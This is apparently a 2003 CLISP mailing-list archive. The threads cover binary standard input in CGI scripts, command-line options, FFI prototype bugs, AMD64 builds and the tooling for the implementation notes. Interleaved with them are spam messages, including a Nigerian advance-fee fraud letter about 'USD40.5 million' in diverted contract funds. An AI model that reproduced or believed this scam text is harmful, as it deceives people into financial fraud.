#\Newline ; I didn't type anything. It's just there because of -x I believe.


>I must be doing something wrong.
Maybe, maybenot.

One thing I just saw in the source code is that if you use -x without the new -repl, then *standard-input* will only be bound to this string-input-stream. I.e., the tty/pipe *standard-input* is lost!

This enters a REPL
clisp
clisp -repl

This does not
clisp -x
clisp -c
clisp file

Not affecting REPL behaviour:
-i
-interactive-debug

Which means that
clisp -i foo.lisp -x '(main)'
cannot be used to read from standard input in x. Maybe this should be put into clisp.html or impnotes.

You need to save *standard-input* in foo.lisp and use that saved value in the -x expression.

clisp -x '...' foo.lisp
does not work as (naively?) expected, either.

$ clisp -q -x '123' /tmp/binary.lisp
*** - EVAL: variable 123/TMP/BINARY.LISP has no value

Oh well, it looks like it's time for a HOWTO (any volunteer?). Keys are (clisp --help)
Actions:
 -c [-l] lispfile [-o outputfile] - compile LISPFILE
 -x expressions - execute the expressions, then exit
 lispfile [argument ...] - load lispfile, then exit
I.e. you have to choose among these, and cannot combine.

Regards,
	Jorg Hohle.


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> * In message <1052924000.31252.5.camel@rosi.local>
> * On the subject of "[clisp-list] QSIM & clisp"
> * Sent on 14 May 2003 16:53:20 +0200
> * Honorable Christof Bodner <christof.bodner@gmx.net> writes:
>
> To be honest, I am not very experienced with LISP. But I want to use
> the QSIM package (http://www.cs.utexas.edu/users/qr/QR-software.html)
> with clisp.
> 
> Following the qsim installation instructions, I get an error:
> [1]> (load "start-nq.lisp")
> ;; Loading file start-nq.lisp ...
> ;;  Loading file /home/podex/temp/qsim/c-lisp/logical-pathnames.lisp ...
> *** - SYSTEM::%FIND-PACKAGE: There is no package with name
> "LOGICAL-PATHNAME"

you need to contact the authors and make them upgrade their code to
ANSI CL.
Alternatively, you can do it yourself (or hire me to do it for you).

1. CLISP provides native LOGICAL-PATHNAMEs, so you probably do not need
   to load "logical-pathnames.lisp"

2. CLISP has :ANSI-CL but not :CLTL2 in *FEATURES*, so you will need to
   go through their code replacing :CLTL2 with (OR :ANSI-CL :CLTL2), or
   you will have to do (PUSHNEW :CLTL2 *FEATURES*) in CLISP.

3. things like (in-package 'User) in sys-site/nq.system are cltl1, so
   yo will need to fix them to (in-package User) or (in-package "User")

   maybe more...
   
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On Wed, 2003-05-14 at 16:43, Hoehle, Joerg-Cyril wrote:
> Thibault Langlois wrote:
> >$ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf
> >(stream-element-type *standard-input*) '(unsigned-byte 8)))"
> >
> >"2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" 
> >*** - (SETF STREAM-ELEMENT-TYPE) on #<INPUT STRING-INPUT-STREAM> is
> >illegal
> 
> Note the STRING-INPUT-STREAM: CLISP has put your -x expression "(progn (print ...)" into a (make-string-input-stream "...") and is reading from that.
> You're not yet talking to the real standard-input.
> 
> $ clisp -q -norc -x '*standard-input*'
> #<INPUT STRING-INPUT-STREAM>
> 
> IIRC, it's only after all -x options will have been processed that *standard-input* will see the real thing.
> 
> $ clisp -q -norc -x '(read-char *standard-input*)'
> #\Newline ; I didn't type anything. It's just there because of -x I believe.
> 
> 
> >I must be doing something wrong.
> Maybe, maybenot.
> 
> One thing I just saw in the source code is that if you use -x without the new -repl, then *standard-input* will only be bound to this string-input-stream. I.e., the tty/pipe *standard-input* is lost!
> 
> This enters a REPL
> clisp
> clisp -repl
> 
> This does not
> clisp -x
> clisp -c
> clisp file
> 
> Not affecting REPL behaviour:
> -i
> -interactive-debug
> 
> Which means that
> clisp -i foo.lisp -x '(main)'
> cannot be used to read from standard input in x. Maybe this should be put into clisp.html or impnotes.
> 
> You need to save *standard-input* in foo.lisp and use that saved value in the -x expression.
> 
> clisp -x '...' foo.lisp
> does not work as (naively?) expected, either.
> 
> $ clisp -q -x '123' /tmp/binary.lisp
> *** - EVAL: variable 123/TMP/BINARY.LISP has no value
> 
> Oh well, it looks like it's time for a HOWTO (any volunteer?). Keys are (clisp --help)
> Actions:
>  -c [-l] lispfile [-o outputfile] - compile LISPFILE
>  -x expressions - execute the expressions, then exit
>  lispfile [argument ...] - load lispfile, then exit
> I.e. you have to choose among these, and cannot combine.
> 
> Regards,
> 	Jorg Hohle.
> 
> 

Thank you for your very clear explanations.
Here is an example that illustrates some of the subtle aspects I did not
know.

exotica$ cat /tmp/test.lisp

(defvar *the-real-input* *standard-input*)

(defun good ()
  (setf (stream-element-type *the-real-input*) '(unsigned-byte 8))
  (print
   (loop repeat 10
         collect (read-byte *the-real-input*))))

(defun bad ()
  (setf (stream-element-type *standard-input*) '(unsigned-byte 8))
  (print
   (loop repeat 10
         collect (read-byte *standard-input*))))
  
exotica$ clisp -norc -q -i /tmp/test.lisp -x '(bad)' < /tmp/data.bz2 
;; Loading file /tmp/test.lisp ...
;; Loaded file /tmp/test.lisp
*** - (SETF STREAM-ELEMENT-TYPE) on #<INPUT STRING-INPUT-STREAM> is
illegal
exotica$ clisp -norc -q -i /tmp/test.lisp -x '(good)' < /tmp/data.bz2 
;; Loading file /tmp/test.lisp ...
;; Loaded file /tmp/test.lisp
(66 90 104 57 49 65 89 38 83 89) 
(66 90 104 57 49 65 89 38 83 89)

I going now to put it all together to see if my cgi script works now.

Thanks.

Thibault

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Date: Wed May 14 10:12:18 2003
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On Wed, 2003-05-14 at 16:43, Hoehle, Joerg-Cyril wrote:
> Thibault Langlois wrote:
> >$ clisp -norc -q -x "(progn (print (lisp-implementation-version)) (setf
> >(stream-element-type *standard-input*) '(unsigned-byte 8)))"
> >
> >"2.30 (released 2002-09-15) (built 3261851213) (memory 3261852080)" 
> >*** - (SETF STREAM-ELEMENT-TYPE) on #<INPUT STRING-INPUT-STREAM> is
> >illegal
> 
> Note the STRING-INPUT-STREAM: CLISP has put your -x expression "(progn (print ...)" into a (make-string-input-stream "...") and is reading from that.
> You're not yet talking to the real standard-input.
> 
> $ clisp -q -norc -x '*standard-input*'
> #<INPUT STRING-INPUT-STREAM>
> 
> IIRC, it's only after all -x options will have been processed that *standard-input* will see the real thing.
> 
> $ clisp -q -norc -x '(read-char *standard-input*)'
> #\Newline ; I didn't type anything. It's just there because of -x I believe.
> 
> 
> >I must be doing something wrong.
> Maybe, maybenot.
> 
> One thing I just saw in the source code is that if you use -x without the new -repl, then *standard-input* will only be bound to this string-input-stream. I.e., the tty/pipe *standard-input* is lost!
> 
> This enters a REPL
> clisp
> clisp -repl
> 
> This does not
> clisp -x
> clisp -c
> clisp file
> 
> Not affecting REPL behaviour:
> -i
> -interactive-debug
> 
> Which means that
> clisp -i foo.lisp -x '(main)'
> cannot be used to read from standard input in x. Maybe this should be put into clisp.html or impnotes.
> 
> You need to save *standard-input* in foo.lisp and use that saved value in the -x expression.
> 
> clisp -x '...' foo.lisp
> does not work as (naively?) expected, either.
> 
> $ clisp -q -x '123' /tmp/binary.lisp
> *** - EVAL: variable 123/TMP/BINARY.LISP has no value
> 
> Oh well, it looks like it's time for a HOWTO (any volunteer?). Keys are (clisp --help)
> Actions:
>  -c [-l] lispfile [-o outputfile] - compile LISPFILE
>  -x expressions - execute the expressions, then exit
>  lispfile [argument ...] - load lispfile, then exit
> I.e. you have to choose among these, and cannot combine.

There is still something I do not understand:

I put my test in a script file:

exotica$ cat test.cgi
#!/usr/local/bin/clisp -norc -q
(defvar *the-real-input* *standard-input*)

(defun good ()
  (setf (stream-element-type *the-real-input*) '(unsigned-byte 8))
  (print
   (loop repeat 10
	 collect (read-byte *the-real-input*))))

(defun bad ()
  (setf (stream-element-type *standard-input*) '(unsigned-byte 8))
  (print
   (loop repeat 10
	 collect (read-byte *standard-input*))))

(good)
  
exotica$ test.cgi < /tmp/data.bz2

(66 90 104 57 49 65 89 38 83 89) 

But when the script is run by httpd it give the same error 
again (from /var/log/httpd/error_log):

*** - (SETF STREAM-ELEMENT-TYPE) on #<IO TERMINAL-STREAM> is illegal
[Wed May 14 17:51:21 2003] [error] [client 194.117.35.226] Premature end
of script headers: /home/tl/www_public/test.cgi

What is wrong ?

> 
> Regards,
> 	Jorg Hohle.
> 
> 
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Thibault Langlois wrote:
>There is still something I do not understand:

>exotica$ test.cgi < /tmp/data.bz2
>(66 90 104 57 49 65 89 38 83 89) 

>But when the script is run by httpd it give the same error 
>again (from /var/log/httpd/error_log):
>*** - (SETF STREAM-ELEMENT-TYPE) on #<IO TERMINAL-STREAM> is illegal
>[Wed May 14 17:51:21 2003] [error] [client 194.117.35.226] 
>Premature end
>of script headers: /home/tl/www_public/test.cgi
>
>What is wrong ?

I'm sorry that you spent more time on this. What you miss is that current CLISP will only produce a setf-able *standard-input* if it is connected to a regular file. This is the case in your </tmp/data example. This is not the case in a cgi setting, were stdin/out are (presumably) pipes.

You need either
o my hack (or a later change of that into a regular command line option) so that CLISP will produce this kind of file/pipe/handle *standard-input/output* streams even when connected to pipes.

o or a wrapper around your script that will write all stdinput from the web-server to a file, and feed that file to CLISP. This will only work for one-invocation-per-access cgi however, CLISP cannot handle multiple requests with such a setting.
I'm not sure this works at all because httpd may not flush the input side of the pipe so that the wrapper sees an EOF and knows that it got all input.
You cannot write such a wrapper in CLISP itself, since you need faithful input.
Please try investigating around
#! /bin/sh
# My CGI wrapper
cat >/tmp/foo$$
#syslog "got all input"
clisp < /tmp/foo$$

Regards,
	Jorg Hohle.


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Hi,

I wrote
>1. What should *standard-error* become in such a case?
>It would be wise *not* to have it bound to the file stream 
>object as *standard-output*. If it's used in binary mode, an 
>infinite loop results of this, and a Lisp STACK overflow. I 
>prefer to have *standard-error* still point to *terminal-io* 
>(which remains a pure character stream) (or a handle for file 
>descriptor #2, if exists). That means that error and trace 
>messages would be mixed as ASCII into the binary output -- at 
>least you get to see something.

Actually, I confused myself yesterday: with my patch, it's *not* the case that you'd have a usable *terminal-io* in character mode while *standard-input* or -output* would be in byte mode.

*terminal-io* becomes a two-way-stream, with these setf'able *standard-input* and -output* streams as components.

However, my patch provides a valuable property that (setf (stream-element-type *terminal-io*) would not:
Element-type of stdin and output can be set independently!
I believe this is a necessity for both pipe and cgi applications.

Yet I think it still would be nice to have *terminal-io* always be in character mode for both directions (at least with options like -repl or -interactive-debug). Possibly there could be distinct *standard-input* and -output* -- at least in batch mode. That's different from my patch.

Regards,
	Jorg Hohle.


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On Thu, 2003-05-15 at 08:30, Hoehle, Joerg-Cyril wrote:
> Thibault Langlois wrote:
> >There is still something I do not understand:
> 
> >exotica$ test.cgi < /tmp/data.bz2
> >(66 90 104 57 49 65 89 38 83 89) 
> 
> >But when the script is run by httpd it give the same error 
> >again (from /var/log/httpd/error_log):
> >*** - (SETF STREAM-ELEMENT-TYPE) on #<IO TERMINAL-STREAM> is illegal
> >[Wed May 14 17:51:21 2003] [error] [client 194.117.35.226] 
> >Premature end
> >of script headers: /home/tl/www_public/test.cgi
> >
> >What is wrong ?
> 
> I'm sorry that you spent more time on this. What you miss is that current CLISP will only produce a setf-able *standard-input* if it is connected to a regular file. This is the case in your </tmp/data example. This is not the case in a cgi setting, were stdin/out are (presumably) pipes.
> 
> You need either
> o my hack (or a later change of that into a regular command line option) so that CLISP will produce this kind of file/pipe/handle *standard-input/output* streams even when connected to pipes.
> 

That is what I did yesterday at night. I was desperate to solve this
problem and I recompiled clisp with your patch. It works fine now !

I think this is a valuable feature. I wonder why this issue has not
arise sooner, clisp is the cl implementation that is the most suitable
to do cgi programming.  

I have ~100 students that, with your help, will be able to send their
homework through a form. At the beginning of the semestrer I asked them
to send ascii files but now, they have several files to send and it is
more convenient to use one zip archive. 
 
Thanks again.

Thibault

> o or a wrapper around your script that will write all stdinput from the web-server to a file, and feed that file to CLISP. This will only work for one-invocation-per-access cgi however, CLISP cannot handle multiple requests with such a setting.
> I'm not sure this works at all because httpd may not flush the input side of the pipe so that the wrapper sees an EOF and knows that it got all input.
> You cannot write such a wrapper in CLISP itself, since you need faithful input.
> Please try investigating around
> #! /bin/sh
> # My CGI wrapper
> cat >/tmp/foo$$
> #syslog "got all input"
> clisp < /tmp/foo$$
> 
> Regards,
> 	Jorg Hohle.
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> * In message <1052997092.29631.10.camel@wok>
> * On the subject of "Re: read-byte and *standard-input*"
> * Sent on 15 May 2003 12:11:34 +0100
> * Honorable Thibault Langlois <tl@di.fc.ul.pt> writes:
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> That is what I did yesterday at night. I was desperate to solve this
> problem and I recompiled clisp with your patch. It works fine now !

I just added a new function EXT:MAKE-STREAM which should simplify your
life a bit.
Please try CVS head and read the doc
<http://cvs2.cons.org/ftp-area/clisp/snapshots/impnotes.html#make-stream>
<http://cvs2.cons.org/ftp-area/clisp/snapshots/impnotes.html#bin-stdio>

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE044489A1@G8PQD.blf01.telekom.de>
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> 2. What should the command-line option be called?
>   -noI comes to mind (readline would have to be disabled as well).

we already have -repl, so maybe -norepl?

> BTW, do we really need -repl? I thought, like -i for sh/csh, something
> to force interactive mode might be enough, together with -noi?

that's what -repl does - forces interaction after -c/-x/script

> And yes, I feel like CLISP misses an option to indicate (force) batch
>   mode. Currently, it guesses: 
>   if ((argv_compile || argv_expr_count || argv_execute_file != NULL)
>       && !argv_interactive_debug && !argv_repl) {
>     # '-c' or '-x' or file specified -> LISP runs in batch-mode:

argv_norepl should do the job.

(check out the new EXT:MAKE-STREAM, it should Thibault Langlois with his
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On Thu, 2003-05-15 at 19:07, Sam Steingold wrote:
> > * In message <1052997092.29631.10.camel@wok>
> > * On the subject of "Re: read-byte and *standard-input*"
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> > That is what I did yesterday at night. I was desperate to solve this
> > problem and I recompiled clisp with your patch. It works fine now !
> 
> I just added a new function EXT:MAKE-STREAM which should simplify your
> life a bit.
> Please try CVS head and read the doc
> <http://cvs2.cons.org/ftp-area/clisp/snapshots/impnotes.html#make-stream>
> <http://cvs2.cons.org/ftp-area/clisp/snapshots/impnotes.html#bin-stdio>

I have not tried yet but from the documentation it looks fine.
CLISP has a new useful feature !
 
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Hi,

Who is firm in C prototypes and declarations?

Sam Steingold wrote:
>[2]> (linux:getpwent)
>#S(LINUX:passwd :|pw_name| "root" :|pw_passwd| "x" :|pw_uid| 0 
>:|pw_gid| 0
>   :|pw_gecos| "root" :|pw_dir| "/root" :|pw_shell| "/bin/bash")
>[3]> (linux::putpwent (linux:getpwent) linux:stdout)
>
>*** - handle_fault error2 ! address = 0x0 not in 
>[0x20228000,0x203673ac) !
>SIGSEGV cannot be cured. Fault address = 0x0.
>Segmentation fault
This was a bug in putpwent that's just been fixed.
There's also one in seed48.

I have a question about the correct prototype for seed48().

According to the Linux manpage, it should be:
(def-call-out seed48 (:arguments (seed16v (c-ptr (c-array ushort 3))))
  (:return-type (c-ptr (c-array ushort 3)) :none))
Because it returns a pointer to an array of three unsigned shorts.

However, this definition causes trouble to gcc:
linux.c:67: `seed48' declared as function returning an array
linux.c:67: conflicting types for `seed48'
/usr/include/stdlib.h:473: previous declaration of `seed48'

Here is what linux.c contains:
extern uint16 (* (seed48)()[3]);

And here is stdlib.h:
extern unsigned short int *seed48 (unsigned short int __seed16v[3]) __THROW;

What can be done to improve this situation?
[The current definition in linux.lisp is broken, meant to be
  (def-call-out seed48 (:arguments (seed16v (c-ptr (c-array ushort 3))))
    (:return-type (c-ptr ushort) :none))
which wrongly returns a single short.]

Maybe this should be generated instead??
extern uint16 (* (seed48)())[3];
But that looks like one too many indirection.

This could be a bug in foreign1.lisp:
TO-C-TYPEDECL works,
FFI[31]> (ffi::to-c-typedecl (parse-c-type '(c-function (:return-type (c-ptr (c-array uint16 3))))) "seed48")
"uint16 (* (seed48) ())[3]"
but ffi::finalize-coutput-file bypasses to-c-typedecl and generates a different extern declaration
uint16 (* (seed48)()[3]);
Note the trailing ')'.

The prototype from finalize-coutput-file is even completely incorrect when I specify :built-in:
extern uint16 (* (seed48b)()[3]uint16 (* )[3]);
which is generated from:
(def-call-out seed48b (:arguments (seed16v (c-ptr (c-array ushort 3))))
  (:return-type (c-ptr (c-array ushort 3)) :none) (:built-in t))

However, it seems like FFI::to-c-typedecl is also subtly broken w.r.t. arrays:
(ffi::to-c-typedecl (parse-c-type '(c-function (:arguments (p (c-array uint16 3))) (:return-type (c-ptr (c-array uint16 3))))) "seed48")
"uint16 (* (seed48) (uint16 (arg692)[3]))[3]"
But (c-array #) is not the correct definition in FFI, (c-ptr (c-array #)) is.

FFI[28]> (ffi::to-c-typedecl (parse-c-type '(c-function (:arguments (p (c-ptr (c-array uint16 3)))) (:return-type (c-ptr (c-array uint16 3))))) "seed48")
"uint16 (* (seed48) (uint16 (* arg673)[3]))[3]"

That looks like too many indirections in the parameter list...

It looks like (c-ptr (c-array ...)) or c-array-max must internally be handled as (c-array[-max] #) for C declaration purposes.

And it looks like the return type must be treated specially w.r.t. (c-ptr (c-array X)) and handle that like (c-ptr X).

<irony/I really love C!/

Oh, I forgot. If you want to try out to-c-typedecl interactively yourself, you'll need:
(setq *ffi-module* (make-ffi-module :name "foo" :c-name "foo"))

Thanks,
	Jorg Hohle.


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RE=3A BUSINESS PROPOSAL - STRICTLY CONFIDENTIAL=2E

I am CHIEF=28DR=2E=29BODE GEORGE=2E=2C Chairman to the Contract Review Panel that was recently inaugurated by the President of the Federal Republic of Nigeria to review the activities of past military government with particular reference to contracts awarded by all ministries between 1990 to 1999=2E In the course of carrying out our assigned duties=2C we discovered the sum of USD40=2E5 =28forty million=2C five hundred thousand dollars=29 only lying idle in a suspense account with our apex bank=2E This funds emanated from grossly over-invoiced contracts awarded to conglomerate of foreign firms by the Petroleum Ministry on behalf of the Nigerian National Petroleum Corporation=2E On completion of our assignment=2C this amount was deliberately not included in our report because we want to capitalize on this once in a lifetime opportunity to benefit and make a fortune out of it=2E The only option we have to achieve our aims and objective is to have this fund transferred to a country of our choice where it can be kept in trust and safe custody for us=2E We are however handicapped at the moment by our status as civil servants=2C which barred us from operating foreign accounts while still in government service=2E

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I anticpate a timely response from you=2E

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Dear Listers,

I am trying to compile clisp on an opteron based linux box.
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But, it does not run.  I saw something like, STACK OVERFLOW error.
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I am happy in getting any clue or pointer for the compilation.

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> * In message <E19ISNa-0004gT-00@sc8-sf-list1.sourceforge.net>
> * On the subject of "[clisp-list] clisp on Linux/AMD64"
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> I am trying to compile clisp on an opteron based linux box.
> By defining IA64, i.e. `cc -DIA64', I created a binary.
> But, it does not run.  I saw something like, STACK OVERFLOW error.

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Dear Sir or Madam,  

I have the pleasure to know your esteemed corp. 

We are a manufacturer & exporter of garments and bags in Quanzhou, China.

I think we can cooperate and supply you with garments as you need.  

The following is some introductions about our company.

       Set up: 1988

       Type: manufacturer & exporter

       Product: knitted garments and bags

       Employees: 1300 persons ( garments factory: 500      bags factory: 800)

       Product data:       

                                  product (main items)                      capacity(/year)

                                  brief                                    2,000,000dzs    

                                  baby body                                1,800,000dzs

                                  boxer short                                200,000dzs

                                  pajama                                      50,000dzs

                                  soft bag                                 1,500,000pcs

                                  hard bag                                   500,000pcs

Mimn order:  300dzs for garments

Payment:  irrevocable L/C at sight

Bank: BANK OF CHINA


Our garment factory mainly specialize in Lady's and men's underwear,

children's wear, baby's wear, pajama, boxer shorts, T-shirt, etc. 

The materials we often use are cotton, T/C, Polyester, Polyamide, 

Elasthan, and Polyamide. Our products are design with PAD system, 

produced with advanced equipment, processed in highly quality control 

system with seasoned workmanship and high efficiency. Our main market 

is Europe, Australia, Japan and America. We also accept the orders designed 

and required by costumers. You can see some pictures of our samples through 

our web http://www.senwer.com. (For more pictures in your interesting, 

pls kindly contact us directly). 
 

Our bag factory was founded in 1988, too. We produce all kinds of bags, 

including suitcase, backpack, travel bag, shoulder bag, sport bag, trolley, 

camera bag, tote bag, school bag, computer case, luggage,waist bag, notecase, etc. 

And the goods have met a great favor in the Europe countries, Australia 

and America because of their good quality, beautiful design and competitive price.


Thank you very much. Hope you will give us an opportunity to do 

business together and we will try our level best to fulfill your present 

requirement. Should you therefore need any more details for your 

clarification, pls do not hesitate to contact us. And you are welcome 

to visit our factories.


With best regards


Rachel Wang

Mob:0086-13960286700
E-mail:rachel@senwer.com


Jason Chen

Mob:0086-13959893400
E-mail: jasonchen@senwer.com


Vicki Wang

Mob:0086-13960228599
E-mail: vicki@senwer.com


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SENWER GARMENTS CO., LTD.

ADD: Room F202, Fugui Renjia Building, Liuguan Road, Quanzhou, Fujian, China.

Tel: 0086-595-2506700    Fax: 0086-595-2563400    P.C.:362000

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Hallo

In Impnotes.html - 1 564 205 - version 2.30.1 
with: last modified 2003-05-15
I do some layout changes. The important are:

- strip all span-tags, all div-tags and all class-ids
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gets lost. Therefor this tags make no sence (until they where included
in the head-area of this file).

- changed all Hyper-Spec online-links to local hard drive
c:\hypers~1\...
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The number of Hyper-Spec links is massive and often one needs to consult
Hyper-Spec pages for more infos. 

- file-size is now 849 822 bytes 
  
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  change the table-layout to an uniform look
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except some big nice headlines, hm?
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- else
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(hope it works)

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  done is partI this ends with Chapter 27. In partII -Extensions- no
table is visible because the classids are removed. Planed is a version
with less tables (this will speed up load-time)
  
- Please send comments

stefan


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I recomiled libsigsegv.a after modifying fault-posix.c in it.
Then I recompiled clisp with gcc3.3 with -DIA64 and without
optimization.

Lisp.run started to create *.mem, but in the middle of
loading macros1.lisp, it dies with core.
On gdb, I read

  Program received signal SIGABRT. Aborted.
  0x0000002a958f4059 in kill() from /lib64/libc.so.6

Hmm....  Any clues?

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Hi,

LIN8080 wrote:
>In Impnotes.html - 1 564 205 - version 2.30.1 
>with: last modified 2003-05-15
>I do some layout changes. The important are:

Uh oh. This seems quite unfortunate to me since impnotes.HTML is not the place to work on. The HTML is automatically generated from a impnotes.XML (Docbook XML).

So instead of improving mechanically generated HTML, I believe the only viable way is to change the transformation of XML (Docbook) into HTML.
Sam already plays with such transformations, since CLISP typically comes with one huge impnotes file, while clisp.cons.org also has a split version (every chapter in a separate file), which is more user-friendly for external reference (URLs). Comparing various impnotes.html files (clisp-2.27, 2.28 etc.), you'll see quite some layout changes Sam did.

See the CVS online repository
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/doc/

I fear that you wasted some time working on .html. You'll probably have to learn about DSL, e.g. see doc/impnotes.dsl, which influences how impnotes.XML gets translated into impnotes.HTML, or you propose another way of turning docbook XML into html. I never looked into dsl myself. I still have to learn docbook (and still am no friend, to say the least, of the verbosity of XML and thus docbook).

Furthermore, impnotes.html from clisp 2.30 or 2.30.1 is almost outdated as soon as it appears. The up-to-date source is always in CVS. But Sam certainly accepts patches to released versions of CLISP (even though he always begs for patches against CVS, at least for source code).

>- file-size is now 849 822 bytes
I'm pretty sure there's room for improvement. E.g. impnotes for 2.27 was roughly this size, while 2.28 was >1MB. Some content was added, but also some of the HTML generated differently.

My personal opinion is also that there's a bit too much of cross-linking to CLHS. Every time e.g. CHARACTER appears in text, I see no need to have that link to CLHS. When I browse impnotes, I always have to check the status line to see "is this a link to another interesting section or is this yet another boring link to CLHS?".

>- strip all span-tags, all div-tags and all class-ids
>  in case one download this file for off-line browsing the *.css file
>gets lost.
Sam added .css file to the distribution (or put it in all clisp.cons directories where it was needed, I don't remember exactly) when I reported that problem here. So people can either
o download this .css file from where they found impnotes.html
o disable CSS (works in Netscape for me).

>- changed all Hyper-Spec online-links to local hard drive
>c:\hypers~1\...
That really needs customization :-)
This is done at install time for those who build CLISP from source.
Maybe there should be a small lisp program to do this at any time.
(defun change-impnotes-clhs-references (impnotes-file clhs-url) #)

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE04700420@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] working on Implementations Notes layout"
> * Sent on Thu, 22 May 2003 09:39:21 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> I fear that you wasted some time working on .html. You'll probably
> have to learn about DSL, e.g. see doc/impnotes.dsl, which influences
> how impnotes.XML gets translated into impnotes.HTML, or you propose
> another way of turning docbook XML into html. I never looked into dsl
> myself.

forget DSSSL.
XSL is the way to go.
Note that impnotes in
<http://cvs2.cons.org/ftp-area/clisp/snapshots/impnotes/> and
<http://cvs2.cons.org/ftp-area/clisp/snapshots/impnotes.html>
are generated with XSL while the released version
<http://clisp.cons.org/impnotes.html> and
<http://clisp.cons.org/impnotes/>
are generated using DSSSL.

the framework is not yet in the CVS because I am also trying to get the
CLISP man page into Docbook/XML so that both groff and html version
would be generated from the same XML sources.

> I still have to learn docbook (and still am no friend, to say the
> least, of the verbosity of XML and thus docbook).

who is?!

> My personal opinion is also that there's a bit too much of
> cross-linking to CLHS. Every time e.g. CHARACTER appears in text, I
> see no need to have that link to CLHS.

think of the word CHARACTER as an object, with many properties (font,
bg, fg, link &c).  An object has the same properties everywhere.

> When I browse impnotes, I always have to check the status line to see
> "is this a link to another interesting section or is this yet another
> boring link to CLHS?".

When you read impnotes "from cover to cover", you can get used to the
extensive linking.

When you use it as a reference, you appreciate that every term in the
fragment you are interested in has an appropriate link.

> >- changed all Hyper-Spec online-links to local hard drive
> >c:\hypers~1\...
> That really needs customization :-)
> This is done at install time for those who build CLISP from source.
> Maybe there should be a small lisp program to do this at any time.
> (defun change-impnotes-clhs-references (impnotes-file clhs-url) #)

1. change the entity &clhs; in cl-ent.xml to point to your favorite
   CLHS location.

2. regenerate clhs-ent.xml from the index file at that location using
   CLOCC/CLLIB/clhs.lisp (<http://www.podval.org/~sds/data/cllib.html>)

3. edit references in cl-ent.xml to &clhs; by hand.

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Hi,

>Von: Sam Steingold [mailto:sds@gnu.org]
>forget DSSSL.
>XSL is the way to go.

Oh boy, yet another verbose ugliness! I recently browsed the book "Web-publishing with LaTeX" or some such from Michael Goossens and Sebastian Rahtz. It had complete examples of XSL for bibtex:
Boy, what an unreadable nightmare compared to the clean, concise and powerful SXML pre-post-order transformers that I once wrote in Scheme using Oleg's tiny code. Please look up
http://pobox.com/~oleg/ftp/Scheme/SXML.html

SXML transformers could IMHO be ported to CL in an afternoon. XML parsers in CL seem to be lurking around cliki.

BTW, I used that to generate validated HTML from validatable templates, using Kawa (a Scheme environment & compiler to JVM bytecode).

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE04700614@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] working on Implementations Notes layout"
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>
> >Von: Sam Steingold [mailto:sds@gnu.org]
> >forget DSSSL.
> >XSL is the way to go.
> 
> Oh boy, yet another verbose ugliness!

yep, big time!

I want to use XSL and DocBook/XML not because I like these
abominations, but because they are standard.
The same reason applies to why I want to switch from *.d to *.c in the
CLISP sources.

We need to lower the barrier to entry, which means using the standard
tools whenever possible.

Can we concoct a beautiful concise format from which we could generate
html, pdf, ps, tex, groff &c?
Yes!

Should we?
NO!

> XML parsers in CL seem to be lurking around cliki.

I wrote one (CLOCC/CLLIB/xml.lisp)

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Moin Sam Steingold,

> > Oh boy, yet another verbose ugliness!
> yep, big time!

  I did a lot of GML,SGML and XML but my home pages are now driven by
  CGI::pWiki, because its much more natural to write the content and
  let the computer worry about how to understand the layout.

  what about using Perldoc or pWiki like documentation. So we have sparse
  coding, and readable documentation. Take a look at some of my URLs with
  a ?plain as extension to show the plain file on the disk. e.g. on [1]
  on text, lists, wiki links, tables and even ascii art.

  you might run into =location entries, when asking for ?plain, just
  follow them. CGI::pWiki is implemented as a CGI to implement an
  apache handler for *.html, so if the browser calls for *.html
  there might be a =location or purl redirection.

  clispWiki should be written in CLisp, and be a part of the source as
  it has to process the documentation into html and/or latex. It should
  be a subset of CLiki, to batch process CLiki pages. We would than just
  need to convince the admin of CLiki for CVS upload areas, and we can
  form a clisp documentation coding standard, by a rough consense of
  running code, that is part of standard clisp source tree ;)

> I want to use XSL and DocBook/XML not because I like these
> abominations, but because they are standard.

  they are recommendations not standards. UN/EDIFACT would be a
  document standard, but better dont think about using it for
  documentations (;

> We need to lower the barrier to entry, which means using the standard
> tools whenever possible.

  I often had the fealing that standards and like UN/EDIFACT or ISO 9001
  are used to raise the barrier to entry ;)

> Should we?
> NO!

  i can hardly agree - but i wont find time to write a clispWiki right
  now ;( sorry for wasting bandwidth with vaporware - but you are invited
  to cut'n'paste the regexp's of CGI::pWiki in any other GPLed code ;)

> > XML parsers in CL seem to be lurking around cliki.
> I wrote one (CLOCC/CLLIB/xml.lisp)

  *aehm* whats the base URL ?

peace on your way,
  Michael
[1] : http://open360.copyleft.de/OS360/OS_360.html?plain
     (intro text, lists and wiki links)
  or http://open360.copyleft.de/OS360/IPL_into_MVT.html?plain
     (typical PerlDoc like documentation)
  or http://www.clamv.iu-bremen.de/CLAMV/TeachingLab.html?plain
     (subtitles, tables and text)
  or http://rom.copyleft.de/Maps/Southern_Part_of_Midgaard.html?plain
     (tables and ascii art)
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> * In message <20030522211920.GA23685@bakunin.copyleft.de>
> * On the subject of "Re: [clisp-list] working on Implementations Notes layout"
> * Sent on Thu, 22 May 2003 23:19:20 +0200
> * Honorable Michael Koehne <kraehe@copyleft.de> writes:
>
>   clispWiki should be written in CLisp, and be a part of the source as
>   it has to process the documentation into html and/or latex. It
>   should be a subset of CLiki, to batch process CLiki pages. We would
>   than just need to convince the admin of CLiki for CVS upload areas,
>   and we can form a clisp documentation coding standard, by a rough
>   consense of running code, that is part of standard clisp source tree
>   ;)

go ahead and write that.

> > > XML parsers in CL seem to be lurking around cliki.
> > I wrote one (CLOCC/CLLIB/xml.lisp)
>   *aehm* whats the base URL ?

<http://clocc.sf.net/>
<http://www.podval.org/~sds/data/cllib.html>

> peace on your way,

I guess I missed it.

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On 22 May 2003, Sam Steingold wrote:

> I want to use XSL and DocBook/XML not because I like these
> abominations, but because they are standard.
>
> We need to lower the barrier to entry, which means using the standard
> tools whenever possible.

Just a datapoint: I had some notes lying about clarifying the Impnotes
about modules and FFI, but never got around to doing it, because I never
found the energy to learn DocBook.

IMHO DocBook is not exactly a barrier-lowerer, unless you happen to know it
already.

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 -- Nikodemus



